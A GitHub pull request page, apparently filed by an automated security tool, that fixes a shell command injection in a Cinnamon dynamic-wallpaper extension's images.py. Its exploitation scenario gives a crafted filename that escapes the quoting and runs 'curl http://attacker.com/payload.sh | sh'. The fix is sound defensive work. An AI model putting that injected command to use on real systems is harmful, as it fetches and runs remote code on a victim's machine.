Skip to content

fix: sanitize shell/subprocess call in images.py - #1113

Open
anupamme wants to merge 1 commit into
linuxmint:masterfrom
anupamme:fix-repo-cinnamon-spices-extensions-shell-injection-heic-extract
Open

fix: sanitize shell/subprocess call in images.py#1113
anupamme wants to merge 1 commit into
linuxmint:masterfrom
anupamme:fix-repo-cinnamon-spices-extensions-shell-injection-heic-extract

Conversation

@anupamme

Copy link
Copy Markdown

Summary

Fix critical severity security issue in cinnamon-dynamic-wallpaper@TobiZog/files/cinnamon-dynamic-wallpaper@TobiZog/5.4/src/service/images.py.

Vulnerability

Field Value
ID V-003
Severity CRITICAL
Scanner multi_agent_ai
Rule V-003
File cinnamon-dynamic-wallpaper@TobiZog/files/cinnamon-dynamic-wallpaper@TobiZog/5.4/src/service/images.py:56
Assessment Likely exploitable
CWE CWE-78

Description: The extract_heic_file method uses os.system() with single-quote wrapping around file_uri. Single quotes can be escaped by including a single quote in the filename, breaking out of the quoted context and enabling shell command injection. The file_uri parameter comes from user file selection in the UI.

Evidence

Exploitation scenario: A user selects a HEIC file with a crafted filename such as: '/tmp/image'; curl http://attacker.com/payload.sh | sh; echo '.heic'.

Scanner confirmation: multi_agent_ai rule V-003 flagged this pattern.

Production code: This file is in the production codebase, not test-only code.

Changes

  • cinnamon-dynamic-wallpaper@TobiZog/files/cinnamon-dynamic-wallpaper@TobiZog/5.4/src/service/images.py

Behavior Preservation

The change is scoped to 1 file on the vulnerable path, and the project's existing tests still pass, so intended behavior is unchanged.

Verification

  • Build passes
  • Scanner re-scan confirms fix
  • LLM code review passed

Automated security fix by OrbisAI Security

Automated security fix generated by OrbisAI Security
@rcalixte

Copy link
Copy Markdown
Member

cc @TobiZog

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants